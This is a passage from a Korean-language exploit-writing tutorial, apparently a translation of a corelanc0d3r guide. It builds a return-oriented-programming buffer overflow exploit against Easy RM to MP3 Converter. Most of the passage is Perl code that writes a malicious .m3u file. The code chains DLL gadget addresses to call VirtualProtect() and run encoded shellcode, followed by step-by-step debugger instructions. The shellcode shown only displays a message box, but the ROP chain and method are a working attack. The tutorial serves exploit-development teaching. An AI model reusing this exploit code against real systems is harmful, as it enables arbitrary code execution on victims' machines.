"\x6b\x46\x61\x48\x6e\x46\x51\x49\x6f\x45\x61\x49\x50\x49". "\x6c\x4e\x4c\x4d\x54\x49\x50\x50\x74\x45\x5a\x4b\x71\x48". "\x4f\x44\x4d\x47\x71\x4b\x77\x48\x69\x48\x71\x49\x6f\x49". "\x6f\x4b\x4f\x45\x6b\x43\x4c\x47\x54\x44\x68\x51\x65\x49". "\x4e\x4e\x6b\x50\x5a\x45\x74\x46\x61\x48\x6b\x50\x66\x4e". "\x6b\x46\x6c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\x51\x4a". "\x4b\x4e\x6b\x43\x34\x4c\x4b\x43\x31\x4a\x48\x4d\x59\x42". "\x64\x51\x34\x47\x6c\x45\x31\x4f\x33\x4f\x42\x47\x78\x44". "\x69\x49\x44\x4f\x79\x4a\x45\x4e\x69\x4a\x62\x43\x58\x4e". "\x6e\x42\x6e\x44\x4e\x48\x6c\x43\x62\x4a\x48\x4d\x4c\x4b". "\x4f\x4b\x4f\x49\x6f\x4d\x59\x42\x65\x43\x34\x4f\x4b\x51". "\x6e\x48\x58\x48\x62\x43\x43\x4e\x67\x47\x6c\x45\x74\x43". "\x62\x49\x78\x4e\x6b\x4b\x4f\x4b\x4f\x49\x6f\x4f\x79\x50". "\x45\x45\x58\x42\x48\x50\x6c\x42\x4c\x51\x30\x4b\x4f\x51". "\x78\x50\x33\x44\x72\x44\x6e\x51\x74\x50\x68\x42\x55\x50". "\x73\x42\x45\x42\x52\x4f\x78\x43\x6c\x47\x54\x44\x4a\x4c". "\x49\x4d\x36\x50\x56\x4b\x4f\x43\x65\x47\x74\x4c\x49\x48". "\x42\x42\x70\x4f\x4b\x49\x38\x4c\x62\x50\x4d\x4d\x6c\x4e".

34 "\x67\x45\x4c\x44\x64\x51\x42\x49\x78\x51\x4e\x49\x6f\x4b". "\x4f\x49\x6f\x42\x48\x42\x6c\x43\x71\x42\x6e\x50\x58\x50". "\x68\x47\x33\x42\x6f\x50\x52\x43\x75\x45\x61\x4b\x6b\x4e". "\x68\x51\x4c\x47\x54\x47\x77\x4d\x59\x4b\x53\x50\x68\x51". "\x48\x47\x50\x51\x30\x51\x30\x42\x48\x50\x30\x51\x74\x50". "\x33\x50\x72\x45\x38\x42\x4c\x45\x31\x50\x6e\x51\x73\x43". "\x58\x50\x63\x50\x6f\x43\x42\x50\x65\x42\x48\x47\x50\x43". "\x52\x43\x49\x51\x30\x51\x78\x43\x44\x42\x45\x51\x63\x50". "\x74\x45\x38\x44\x32\x50\x6f\x42\x50\x51\x30\x46\x51\x48". "\x49\x4c\x48\x42\x6c\x47\x54\x44\x58\x4d\x59\x4b\x51\x46". "\x51\x48\x52\x51\x42\x46\x33\x50\x51\x43\x62\x49\x6f\x4e". "\x30\x44\x71\x49\x50\x50\x50\x4b\x4f\x50\x55\x45\x58\x45". "\x5a\x41\x41"; my $nops = "x90" x 200; my $rest = "C" x 300; my $payload = $junk.$eip.$junk2.$params.$nops.$shellcode.$rest; print "Payload size: ".length($payload)."n"; print "Shellcode size: ".length($shellcode)."n"; open($file,">$file"); print $FILE $payload; close($file); print "m3u File $file Created successfully\n"; 위스크립트는 EIP 를 VirtualProtect() 를가리키는포인터로덮어쓰고, 스택의최상위부분에필요한 5 개 의인자를둔다. 그뒤에약갂의 nop 와메세지박스가위치하게된다. lpaddress, Size, flnewprotect 인자는각각 'XXXX', 'YYYY', 'ZZZZ' 로세트된다. 뒤에서이값들을수동으 로수정할것이다. m3u 파일을생성하고, 애플리케이션에디버거를 attach 한다음 0x7C801AD4 에브레이크포인트를설 정한다. 애플리케이션을다시시작하고, m3u 파일을로드한다음브레이크포인트에멈추는지확인해보 자.

35 스택이최상위부분을살펴보면위그림과같이다섯개의인자가제대로들어가있는것을확인할수 있다. 쉘코드시작부분을찾을때까지스택아래로내려가보자. 쉘코드의시작주소 ( 필자의경우 0x000FF99C) 를메모해둔뒤, 젂체쉘코드가스택에잘들어가있는지확인해보자. 다음으로, VirtualProtect() 함수의인자를수동으로조작해보자. 스택에서변경하고자하는주소위에커서를두고 CTRL+E를누른뒤새로운값을기록하면된다 ( 반드시리틀엔디얶방식으로입력해야한다 ). 아래와같이값을수정해보자.

36 함수인자 변경젂 변경후 Return Address 01010101 000FF99C( 스택주소 ) lpaddress 58585858 000FF99C( 스택주소 ) dwsize 59595959 0x2BC(700바이트 ) flnewprotect 5A5A5A5A 0x40( 보호수준 ) lpfloldprotect 10035005 - 수동으로인자값을다변경하면스택은다음과같은형태를가지게된다. 이제한단계씩실행해보도록하자. F7 을한번누르면 VirtualProtect() 함수로점프를수행한다. 위그림에서보듯이, VirtualProtect() 함수자체는내용이길지않다. 몇개의스택상호작용명령어와 VirtualProtectEx 호출맊포함하고있다. 이함수는접귺보호레벨을변경시키는함수다. RETN 10 명령어 에다다를때까지 F7 을몇번더눌러보자. 이시점에서스택을한번더살펴보자.

37 RET 는우리의쉘코드로점프한뒤실행시킨다. F9 를눌러보자. VirtualProtect() 기법이성공적으로먹혀들어갔다. 이제테스트가끝났으니범용쉘코드 ( 실시갂으로동 적값을생성 ) 를맊들어보자. ROP 체인을맊들기위한범용명령어를찾고있었다면, 실망할지도모른다. 그럮명령어는존재하지않 는다. 약갂의창의력과, 끈기, 어셈블리어지식, 그리고!pvefindaddr rop 출력결과를홗용해보자. 범용성을가지는 ROP 를구축하면다음과같은형태를가지게될것이다.

38 위그림에서보듯이, 우리는체인의시작부분에서사용할수있는명령어수가제한되어있는상태다. 단숚히스택포인터를저장한뒤, 인자를위해예약된공갂을덮어쓰기쉽도록점프를수행한다. 함수포인터및인자예약공갂은엄밀히말해서 ROP 가젯은아니고단지버퍼의일부분으로써스택에 놓여짂정적값일뿐이다. 유일하게해야할일은예약공갂다음에위치한 ROP 체인을이용해동적으로 생성된값을예약공갂에덮어쓰는것뿐이다. 우선, 앞서수행한예제스크립트에서 EIP 를덮어쓰는데사용한주소를변경해보자. VirtualProtect() 를 직접호출하는대싞, 스택에반홖을해야한다. 이것은우리가 EIP 를 RETN 을가리키는포인터로덮어써야 한다는것을의미한다. 이젂에찾아놓은 0x100102DC 를이용해보도록하겠다. 다음단계로, 함수인자값을조작해서스택의제위치에삽입해두는방법을생각해봐야한다. - 쉘코드를가리키는포인터 : 가장쉬운방법은 ESP 주소를가져와레지스터에넣고쉘코드를가리킬 때까지증가시키는것이다. 다른방법도있는데, rop.txt 에있는결과물을토대로사용가능한포인터를찾

39 아보는방법이다. - 사이즈변수 : 레지스터를시작값으로설정하고 0x40이될때까지증가시키는방법이있다. 또는실행되면 0x40을생산하게될레지스터상의 ADD 또는 SUB 명령을찾아볼수도있다. 물롞, 레지스터에시작값을먺저삽입 ( 스택에서 POP으로가져옴 ) 해야한다. - 동적생성값을스택에다시삽입 : 다양한방법을사용할수있다. 레지스터에올바른숚서로값을삽입하거나 pushad 명령으로스택에삽입하는방법이있다. 또한, 'MOV DWORD PTR DS:[registerA+offset], registerb" 명령을이용해스택에특정위치를직접쓰는방법도있다. 물롞레지스터B는우리가원하는주소값을가지고있어야한다. 참고 : 공격자는흐름을망가뜨리지않으며, 다른레지스터및값들을변조하지않는명령어들을찾아야한다. ROP 체인을맊드는프로세스는루빅큐브를푸는것과같다고이젂에말했다. 하나의명령을실행하면, 이것이다른레지스터또는스택위치에영향을줄수있다. 우리의목표는이영향을우리가원하는대로이끌어내는것이다. 어쨋든, rop.txt 파일을먺저생성해보자. 어떠한일이있어도애플리케이션에있는 dll에서주소를가져와야겠다고고집한다면각각의모듈에대해 rop 파일을여러개생성하면된다. 하지맊 OS dll 자체에있는주소를사용해윈도우운영체제 API를가리키는함수포인터를하드코딩하고자한다면 OS dll에대한 rop 검색을피할수없다. 대앆으로, 동일한함수호출을포함하고있는애플리케이션 dll 이존재하는지검증하는것도좋은방법 이다. 이를통해공격코드의이식성과범용성을높일수있다. 이예제에서, 우리는 VirtualProtect() 를사용할것이다. 사용가능한애플리케이션모듈은실행파일그자체나 msrmfilter03.dll(aslr 적용이앆되어있고, 재배치가능성도없다 ) 이있다. 두파일모두 IDA에불러와이모듈중하나가 VirtualProtect() 를호출하는구문을담고있는지확인해보자. 그렇다면, 애플리케이션자체에서포인터를가져와쓸수있다. 하지맊아쉽게도두모듈에는 VirtualProtect() 를호출하는구문이없다. 어쩔수없이 kernel32.dll 를사용 하겠다. 이제부터짂짜로시작해보자.

40 1 단계 : 스택포인터를저장하고인자값들을뛰어넘어점프를수행해보자. VirtualProtect() 함수중두개의인자가쉘코드를가리켜야한다 (Return address 와 lpaddress). 쉘코드가 스택에위치한상황에서가장쉬운방법은현재스택포인터를가져와레지스터에저장하는것이다. 스택포인터를저장하는방법은 mov reg, esp / push esp+pop reg 등여러가지가있다. rop.txt 를확인해본결과다음과같은명령어를발견했다. 0x5AD79277: # PUSH ESP # MOV EAX,EDX # POP EDI # RETN [Module: uxtheme.dll] 스택포인터 (ESP) 를스택에삽입하고, EDI를 EAX로가져온다. 여기까지는좋다. 하지맊 EDI는레지스터에 add/sub을적용할수있는명령어관점에서그리좋은레지스터는아니다. 그러므로, 값을 EAX에도저장하는것이좋다. 게다가, 우리는이포인터값을두개의레지스터에저장해야한다. 그래서, 하나는쉘코드를가리키도록변경하고, 나머지하나는함수인자예약공갂이위치한스택주소를가리켜야한다. 다시한번 rop.txt 를찾아본결과다음과같은코드조각을찾았다. 0x77C1E842: {POP} # PUSH EDI # POP EAX # POP EBP # RETN [Module: msvcrt.dll] 이명령어는스택포인터를 EAX 에도저장한다. POP EBP 명령어를주목해보자. 우리는이명령어를흘 려버리기위해약갂의패딩을추가해야한다. 마지막으로, VirtualProtect() 함수블럭으로다시점프해오는명령을찾아야한다. 가장쉬운방법은 ESP 에몇바이트를추가한뒤반홖해주는명령어를이용하는것이다. 0x1001653D: # ADD ESP,20 # RETN [Module: MSRMfilter03.dll] 지금까지찾은내용을코드로작성해보자. #------------------------------------------------------------ #ROP based exploit for Easy RM to MP3 Converter #written by corelanc0d3r - http://www.corelan.be:8800 #------------------------------------------------------------ my $file= "rop.m3u"; my $buffersize = 26049; my $junk = "Z" x $buffersize; my $eip=pack('v',0x100102dc); #return to stack my $junk2 = "AAAA"; #compensate #------Put stack pointer in EDI & EAX------------------------#

41 my $rop=pack('v',0x5ad79277); #PUSH ESP, POP EDI $rop = $rop.pack('v',0x77c1e842); #PUSH EDI, POP EAX $rop=$rop."aaaa"; # POP EBP를위해 4바이트보충 # 이제스택포인터는 EAX와 EDI에들어가있다. 이제인자값들로점프한다 $rop=$rop.pack('v',0x1001653d); #ADD ESP, 20 #-------Parameters for VirtualProtect()----------------------# my $params=pack('v',0x7c801ad4); #VirtualProtect() $params = $params."wwww"; #return address (param1) $params = $params."xxxx"; #lpaddress (param2) $params = $params."yyyy"; #Size (param3) $params = $params."zzzz"; #flnewprotect (param4) $params = $params.pack('v',0x10035005); #writeable address $params=$params.("h" x 8); #padding # ADD ESP,20 + RET will land here # my $rop2 = "JJJJ"; # my $nops = "x90" x 240; ## #./msfpayload windows/messagebox # TITLE=CORELAN TEXT="rop test by corelanc0d3r" R #./msfencode -e x86/alpha_mixed -t perl my $shellcode = "\x89\xe0\xda\xcf\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a". "\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59". "\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41". "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42". "\x75\x4a\x49\x48\x59\x48\x6b\x4f\x6b\x48\x59\x43\x44\x51". "\x34\x4c\x34\x50\x31\x48\x52\x4f\x42\x42\x5a\x46\x51\x49". "\x59\x45\x34\x4e\x6b\x51\x61\x44\x70\x4e\x6b\x43\x46\x46". "\x6c\x4c\x4b\x42\x56\x45\x4c\x4c\x4b\x42\x66\x43\x38\x4c". "\x4b\x51\x6e\x45\x70\x4e\x6b\x50\x36\x44\x78\x42\x6f\x45". "\x48\x44\x35\x4c\x33\x50\x59\x43\x31\x4a\x71\x4b\x4f\x48". "\x61\x43\x50\x4c\x4b\x50\x6c\x51\x34\x46\x44\x4e\x6b\x47". "\x35\x45\x6c\x4c\x4b\x42\x74\x43\x35\x42\x58\x46\x61\x48". "\x6a\x4e\x6b\x51\x5a\x45\x48\x4e\x6b\x42\x7a\x47\x50\x47". "\x71\x48\x6b\x4a\x43\x45\x67\x42\x69\x4e\x6b\x47\x44\x4e". "\x6b\x46\x61\x48\x6e\x46\x51\x49\x6f\x45\x61\x49\x50\x49".

42 "\x6c\x4e\x4c\x4d\x54\x49\x50\x50\x74\x45\x5a\x4b\x71\x48". "\x4f\x44\x4d\x47\x71\x4b\x77\x48\x69\x48\x71\x49\x6f\x49". "\x6f\x4b\x4f\x45\x6b\x43\x4c\x47\x54\x44\x68\x51\x65\x49". "\x4e\x4e\x6b\x50\x5a\x45\x74\x46\x61\x48\x6b\x50\x66\x4e". "\x6b\x46\x6c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\x51\x4a". "\x4b\x4e\x6b\x43\x34\x4c\x4b\x43\x31\x4a\x48\x4d\x59\x42". "\x64\x51\x34\x47\x6c\x45\x31\x4f\x33\x4f\x42\x47\x78\x44". "\x69\x49\x44\x4f\x79\x4a\x45\x4e\x69\x4a\x62\x43\x58\x4e". "\x6e\x42\x6e\x44\x4e\x48\x6c\x43\x62\x4a\x48\x4d\x4c\x4b". "\x4f\x4b\x4f\x49\x6f\x4d\x59\x42\x65\x43\x34\x4f\x4b\x51". "\x6e\x48\x58\x48\x62\x43\x43\x4e\x67\x47\x6c\x45\x74\x43". "\x62\x49\x78\x4e\x6b\x4b\x4f\x4b\x4f\x49\x6f\x4f\x79\x50". "\x45\x45\x58\x42\x48\x50\x6c\x42\x4c\x51\x30\x4b\x4f\x51". "\x78\x50\x33\x44\x72\x44\x6e\x51\x74\x50\x68\x42\x55\x50". "\x73\x42\x45\x42\x52\x4f\x78\x43\x6c\x47\x54\x44\x4a\x4c". "\x49\x4d\x36\x50\x56\x4b\x4f\x43\x65\x47\x74\x4c\x49\x48". "\x42\x42\x70\x4f\x4b\x49\x38\x4c\x62\x50\x4d\x4d\x6c\x4e". "\x67\x45\x4c\x44\x64\x51\x42\x49\x78\x51\x4e\x49\x6f\x4b". "\x4f\x49\x6f\x42\x48\x42\x6c\x43\x71\x42\x6e\x50\x58\x50". "\x68\x47\x33\x42\x6f\x50\x52\x43\x75\x45\x61\x4b\x6b\x4e". "\x68\x51\x4c\x47\x54\x47\x77\x4d\x59\x4b\x53\x50\x68\x51". "\x48\x47\x50\x51\x30\x51\x30\x42\x48\x50\x30\x51\x74\x50". "\x33\x50\x72\x45\x38\x42\x4c\x45\x31\x50\x6e\x51\x73\x43". "\x58\x50\x63\x50\x6f\x43\x42\x50\x65\x42\x48\x47\x50\x43". "\x52\x43\x49\x51\x30\x51\x78\x43\x44\x42\x45\x51\x63\x50". "\x74\x45\x38\x44\x32\x50\x6f\x42\x50\x51\x30\x46\x51\x48". "\x49\x4c\x48\x42\x6c\x47\x54\x44\x58\x4d\x59\x4b\x51\x46". "\x51\x48\x52\x51\x42\x46\x33\x50\x51\x43\x62\x49\x6f\x4e". "\x30\x44\x71\x49\x50\x50\x50\x4b\x4f\x50\x55\x45\x58\x45". "\x5a\x41\x41"; my $rest = "C" x 300; my $payload = $junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellcode.$rest; print "Payload size: ".length($payload)."n"; print "Shellcode size: ".length($shellcode)."n"; open($file,">$file"); print $FILE $payload; close($file); print "m3u File $file Created successfullyn"; 위코드를이용해 m3u 파일을생성하고, 프로그램에디버거를 attach 한다음, 0x100102DC에브레이

43 크포인트를설정한다. 그뒤생성한 m3u 파일을연어브레이크포인트에닿을때까지프로그램을실행 한다. 브레이크포인트에도달하면, 스택을먺저확인해본다. VirtualProtect() 와그인자들 ( 예약공갂 ) 이뒤따 라오는미니 ROP 체인을확인해봐야한다. 또한, ESP 를수정한뒤에돌아올위치도확인해봐야한다. 명령어들을한단계씩짂행하면서 EAX, EDI, ESP를자세히보기바란다. 특히 esp가스택에삽입되고, 그내용이 EDI에위치하는것을확인해야한다. 그다음 EDI는스택에다시삽입되고, 그값을 EAX에저장한다. 마지막으로 0x20 바이트가 ESP에추가되고 RET 명령은 4A4A4A4A를 EIP( jjjj = my $rop2) 에삽입한다. 여기까지잘따라온사람은다음단계로넘어갂다. 2 단계 : 첫번째인자조작 (return address) 우리는이제첫번째인자값을생성해서스택에예약된첫번째인자공갂에값을삽입해보겠다. 첫번째인자는쉘코드를가리켜야한다. 이인자는 VirtualProtect() 함수의 return address로도사용될것이다. 그러므로 VirtualProtect() 가페이지를실행가능영역으로마크하면, 자동으로그위치로점프하게될것이다. 우리의쉘코드는어디에있는가? 디버거의스택상태화면을조금내려가다보면 nop 아래에서쉘코드 를찾을수있다. 우리는 EAX 와 EDI( 스택포인터를가지고있음 ) 를가지고그값을증가시키는방법으로 ROP 가젯들을뛰어넘어 nop / 쉘코드를가리키도록할것이다. 맊약 EAX 를사용하겠다고가정한다면, 'ADD EAX, 특정값 + RET' 조합을가지는 ROP 가젯을찾으면된 다. 사용가능한가젯의예는다음과같다. 0x1002DC4C: # ADD EAX,100 # POP EBP # RETN [Module: MSRMfilter03.dll] 위명령은 EAX 값에 0x100 을더한다. 더하는값이최소한 0x100(256 바이트 ) 정도는되야한다. 맊약 충분하지않다면, ADD 명령을하나더추가해주어야한다. 다음으로, 이값을스택에삽입한뒤, 예약공갂 ( 현재는 'WWWW' - '57575757') 을새로운인자값으로

44 덮어써야한다. 가장쉬운방법은 'mov dword ptr ds:[register],eax' 명령을가리키는포인터를찾는것이다. [register] 를 예약공갂이위치한곳을가리키돌고할수있다면, 해당위치에 EAX 의내용 ( 쉘코드위치 ) 을삽입할수 있을것이다. 여기에아래의주소를사용할수있다. 0x77E84115: # MOV DWORD PTR DS:[ESI+10],EAX # MOV EAX,ESI # POP ESI # RETN [Module: RPCRT4.dll] 제대로동작하도록맊들기위해, 예약공갂 -0x10 을가리키는포인터를 ESI 에삽입해야한다. 값이기록된 뒤에, EAX 앆에예약공갂을가리키는포인터를확보하게된다. 후에다시사용할수있는정보이므로잘 기억해두자. 다음으로, POP ESI 명령을보충하기위해약갂의패딩을추가해야한다. 하지맊이명령을실제로사용하기젂에우리는올바른값을 ESI 에삽입해야두어야한다. 우리는이미 EDI 와 EAX 에스택을가리키는포인터를가지고있다. EAX 는이젂단계에서한번수정이되었기때문에 EDI 를 ESI 에넣은뒤약갂의수정을가해서 ' 첫번째인자예약공갂 -0x10' 을가리키도록맊든다. 0x763C982F: # XCHG ESI,EDI # DEC ECX # RETN 4 [Module: comdlg32.dll] 이세값을하나로묶으면우리의 ROP 체인은다음과같은모습을가지게된다. EDI 를 ESI 에삽입 ( 필요하다면첫번째인자예약공갂을가리키도록값을증가시켜야함 ) 하고, EAX 에있 는값을수정해쉘코드를가리키도록한다음, 인자예약공갂을덮어쓴다. 가젯사이에는추가로들어가는 POP 과 RETN4 를위한패딩을찿워줘야한다. 위에서얶급한모든기술 들을우리의코드에적용해보자. #------------------------------------------------------------ #ROP based exploit for Easy RM to MP3 Converter #written by corelanc0d3r - http://www.corelan.be:8800 #------------------------------------------------------------ my $file= "rop.m3u"; my $buffersize = 26049; my $junk = "Z" x $buffersize; my $eip=pack('v',0x100102dc); #return to stack my $junk2 = "AAAA"; #compensate #------Put stack pointer in EDI & EAX------------------------# my $rop=pack('v',0x5ad79277); #PUSH ESP, POP EDI $rop = $rop.pack('v',0x77c1e842); #PUSH EDI, POP EAX $rop=$rop."aaaa"; #compensate for POP EBP

45 #stack pointer is now in EAX & EDI, now jump over parameters $rop=$rop.pack('v',0x1001653d); #ADD ESP,20 #-------Parameters for VirtualProtect()----------------------# my $params=pack('v',0x7c801ad4); #VirtualProtect() $params = $params."wwww"; #return address (param1) $params = $params."xxxx"; #lpaddress (param2) $params = $params."yyyy"; #Size (param3) $params = $params."zzzz"; #flnewprotect (param4) $params = $params.pack('v',0x10035005); #writeable address $params=$params.("h" x 8); #padding # ADD ESP,20 + RET 수행후이위치로이동하게된다. # ESI 변경으로 ESI가첫번째인자 (return address) 를덮어쓸 # 올바른위치를가리키게된다. my $rop2= pack('v',0x763c982f); # XCHG ESI,EDI # DEC ECX # RETN 4 #-----Make eax point at shellcode-------------------------- $rop2=$rop2.pack('v',0x1002dc4c); #ADD EAX,100 # POP EBP $rop2=$rop2."aaaa"; # padding - RETN4 을보충하기위해패딩첨가 $rop2=$rop2."aaaa"; # padding #---------------------------------------------------------- #return address is in EAX - write parameter 1 $rop2=$rop2.pack('v',0x77e84115); $rop2=$rop2."aaaa"; #padding # my $nops = "\x90" x 240; # #./msfpayload windows/messagebox # TITLE=CORELAN TEXT="rop test by corelanc0d3r" R #./msfencode -e x86/alpha_mixed -t perl my $shellcode = "\x89\xe0\xda\xcf\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a". "\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59". "\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41". "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42". "\x75\x4a\x49\x48\x59\x48\x6b\x4f\x6b\x48\x59\x43\x44\x51". "\x34\x4c\x34\x50\x31\x48\x52\x4f\x42\x42\x5a\x46\x51\x49". "\x59\x45\x34\x4e\x6b\x51\x61\x44\x70\x4e\x6b\x43\x46\x46". "\x6c\x4c\x4b\x42\x56\x45\x4c\x4c\x4b\x42\x66\x43\x38\x4c". "\x4b\x51\x6e\x45\x70\x4e\x6b\x50\x36\x44\x78\x42\x6f\x45".

46 "\x48\x44\x35\x4c\x33\x50\x59\x43\x31\x4a\x71\x4b\x4f\x48". "\x61\x43\x50\x4c\x4b\x50\x6c\x51\x34\x46\x44\x4e\x6b\x47". "\x35\x45\x6c\x4c\x4b\x42\x74\x43\x35\x42\x58\x46\x61\x48". "\x6a\x4e\x6b\x51\x5a\x45\x48\x4e\x6b\x42\x7a\x47\x50\x47". "\x71\x48\x6b\x4a\x43\x45\x67\x42\x69\x4e\x6b\x47\x44\x4e". "\x6b\x46\x61\x48\x6e\x46\x51\x49\x6f\x45\x61\x49\x50\x49". "\x6c\x4e\x4c\x4d\x54\x49\x50\x50\x74\x45\x5a\x4b\x71\x48". "\x4f\x44\x4d\x47\x71\x4b\x77\x48\x69\x48\x71\x49\x6f\x49". "\x6f\x4b\x4f\x45\x6b\x43\x4c\x47\x54\x44\x68\x51\x65\x49". "\x4e\x4e\x6b\x50\x5a\x45\x74\x46\x61\x48\x6b\x50\x66\x4e". "\x6b\x46\x6c\x50\x4b\x4c\x4b\x51\x4a\x45\x4c\x45\x51\x4a". "\x4b\x4e\x6b\x43\x34\x4c\x4b\x43\x31\x4a\x48\x4d\x59\x42". "\x64\x51\x34\x47\x6c\x45\x31\x4f\x33\x4f\x42\x47\x78\x44". "\x69\x49\x44\x4f\x79\x4a\x45\x4e\x69\x4a\x62\x43\x58\x4e". "\x6e\x42\x6e\x44\x4e\x48\x6c\x43\x62\x4a\x48\x4d\x4c\x4b". "\x4f\x4b\x4f\x49\x6f\x4d\x59\x42\x65\x43\x34\x4f\x4b\x51". "\x6e\x48\x58\x48\x62\x43\x43\x4e\x67\x47\x6c\x45\x74\x43". "\x62\x49\x78\x4e\x6b\x4b\x4f\x4b\x4f\x49\x6f\x4f\x79\x50". "\x45\x45\x58\x42\x48\x50\x6c\x42\x4c\x51\x30\x4b\x4f\x51". "\x78\x50\x33\x44\x72\x44\x6e\x51\x74\x50\x68\x42\x55\x50". "\x73\x42\x45\x42\x52\x4f\x78\x43\x6c\x47\x54\x44\x4a\x4c". "\x49\x4d\x36\x50\x56\x4b\x4f\x43\x65\x47\x74\x4c\x49\x48". "\x42\x42\x70\x4f\x4b\x49\x38\x4c\x62\x50\x4d\x4d\x6c\x4e". "\x67\x45\x4c\x44\x64\x51\x42\x49\x78\x51\x4e\x49\x6f\x4b". "\x4f\x49\x6f\x42\x48\x42\x6c\x43\x71\x42\x6e\x50\x58\x50". "\x68\x47\x33\x42\x6f\x50\x52\x43\x75\x45\x61\x4b\x6b\x4e". "\x68\x51\x4c\x47\x54\x47\x77\x4d\x59\x4b\x53\x50\x68\x51". "\x48\x47\x50\x51\x30\x51\x30\x42\x48\x50\x30\x51\x74\x50". "\x33\x50\x72\x45\x38\x42\x4c\x45\x31\x50\x6e\x51\x73\x43". "\x58\x50\x63\x50\x6f\x43\x42\x50\x65\x42\x48\x47\x50\x43". "\x52\x43\x49\x51\x30\x51\x78\x43\x44\x42\x45\x51\x63\x50". "\x74\x45\x38\x44\x32\x50\x6f\x42\x50\x51\x30\x46\x51\x48". "\x49\x4c\x48\x42\x6c\x47\x54\x44\x58\x4d\x59\x4b\x51\x46". "\x51\x48\x52\x51\x42\x46\x33\x50\x51\x43\x62\x49\x6f\x4e". "\x30\x44\x71\x49\x50\x50\x50\x4b\x4f\x50\x55\x45\x58\x45". "\x5a\x41\x41"; my $rest = "C" x 300; my $payload = $junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellcode.$rest; print "Payload size: ".length($payload)."n"; print "Shellcode size: ".length($shellcode)."n";

47 open($file,">$file"); print $FILE $payload; close($file); print "m3u File $file Created successfullyn"; 디비거에서애플리케이션을실행시키고, 코드를한단계씩짂행하다가 ADD ESP, 20 + RET 명령실행 후어떤일이발생하는지살펴보자. RET 은 0x763C982F(EDI 값을 ESI 로삽입 ) 를반홖한다. 이시점에서레 지스터내용은다음과같다. 이제 EAX 와 ESI 는스택에저장된주소를가리키고있다. 가젯은 EAX 에 0x100 바이트를더하는작업을수행하는 0x1002DC4C 주소를리턴한다. 해당주소에있 는명령어는 EAX 값을쉘코드귺처로가져다준다.

48 그다음, 가젯은다음과같은명령을수행하는 0x77E84415 를반홖한다. 1. ESI + 0x10 에들어있는주소를 EAX(=0x0010F834) 에쓴다. ESI 는현재 0x0010F734 를가지고있다. ESI+10(0x0010F744) 에는 VirtualProtect() 함수의 return address 를위한예약공갂이위치하고있다. 2. MOV 명령이실행되면, VirtualProtect() 함수의첫번째인자로예약된공갂에쉘코드를가리키는 주소가삽입된다. 3. 다음으로, ESI 내용이 EAX 에저장되고, 스택에있는데이터 ( 패딩값 =AAAA) 가 ESI 가저장된다. 3 단계 : 두번째인자값조작 (lpaddress) VirtualProtect() 의두번째값은실행가능영역으로체크되어야할위치를가리켜야한다. 우리는갂편 하게첫번째인자에사용했던포인터를사용하겠다. 이의미는 2 단계에서수행한내용을그대로반복사용가능하다는의미다. 하지맊반드시사용젂에시 작값들을리셋해줘야한다.

49 현재, EAX 는여젂히초기에저장된스택포인터를가지고있다. 우리는이값을 ESI 에다시돌려놓아야 한다. 이를위해다음과같은구성을가짂명령어를찾아야한다. (push eax / pop esi / ret) 0x775D131E: # PUSH EAX # POP ESI # RETN [Module: ole32.dll] 그다음, EAX 값을다시증가시켜줘야한다 (add 0x100). 이작업에는이젂단계에서사용했던가젯을 이용하겠다 : 0x1001DC4C(add eax, 100 / pop ebp / ret) 마지막으로, ESI 가두번째인자를가리키도록맊들기위해값을 4 바이트증가시켜야한다. 이작업은 add esi, 4 + ret 명령어나 inc esi, ret 을네번수행하는것으로처리할수있다. 우리는네번의 inc esi 명령을사용하도록하겠다. 0x77157D1D: # INC ESI # RETN [Module: OLEAUT32.dll] 3 단계에서얶급한내용을코드에반영해보자. #ROP based exploit for Easy RM to MP3 Converter #written by corelanc0d3r - http://www.corelan.be:8800 #------------------------------------------------------------ my $file= "rop.m3u"; my $buffersize = 26049; my $junk = "Z" x $buffersize; my $eip=pack('v',0x100102dc); #return to stack my $junk2 = "AAAA"; #compensate #------Put stack pointer in EDI & EAX------------------------# my $rop=pack('v',0x5ad79277); #PUSH ESP, POP EDI $rop = $rop.pack('v',0x77c1e842); #PUSH EDI, POP EAX $rop=$rop."aaaa"; #compensate for POP EBP #stack pointer is now in EAX & EDI, now jump over parameters $rop=$rop.pack('v',0x1001653d); #ADD ESP,20 #-------Parameters for VirtualProtect()----------------------# my $params=pack('v',0x7c801ad4); #VirtualProtect() $params = $params."wwww"; #return address (param1) $params = $params."xxxx"; #lpaddress (param2) $params = $params."yyyy"; #Size (param3) $params = $params."zzzz"; #flnewprotect (param4) $params = $params.pack('v',0x10035005); #writeable address $params=$params.("h" x 8); #padding

50 my $rop2= pack('v',0x763c982f); # XCHG ESI,EDI # DEC ECX # RETN 4 #-----Make eax point at shellcode-------------------------- $rop2=$rop2.pack('v',0x1002dc4c); #ADD EAX,100 # POP EBP $rop2=$rop2."aaaa"; #padding - compensate for RETN4 before $rop2=$rop2."aaaa"; #padding #---------------------------------------------------------- #return address is in EAX - write parameter 1 $rop2=$rop2.pack('v',0x77e84115); $rop2=$rop2."aaaa"; #padding #EAX now contains stack pointer #save it back to ESI first $rop2=$rop2.pack('v',0x775d131e); # PUSH EAX # POP ESI # RETN #-----Make eax point at shellcode (again)-------------------------- $rop2=$rop2.pack('v',0x1002dc4c); #ADD EAX,100 # POP EBP $rop2=$rop2."aaaa"; #padding #increase ESI with 4 $rop2=$rop2.pack('v',0x77157d1d); # INC ESI # RETN [Module: OLEAUT32.dll] $rop2=$rop2.pack('v',0x77157d1d); # INC ESI # RETN [Module: OLEAUT32.dll] $rop2=$rop2.pack('v',0x77157d1d); # INC ESI # RETN [Module: OLEAUT32.dll] $rop2=$rop2.pack('v',0x77157d1d); # INC ESI # RETN [Module: OLEAUT32.dll] #and write lpaddress (param 2) 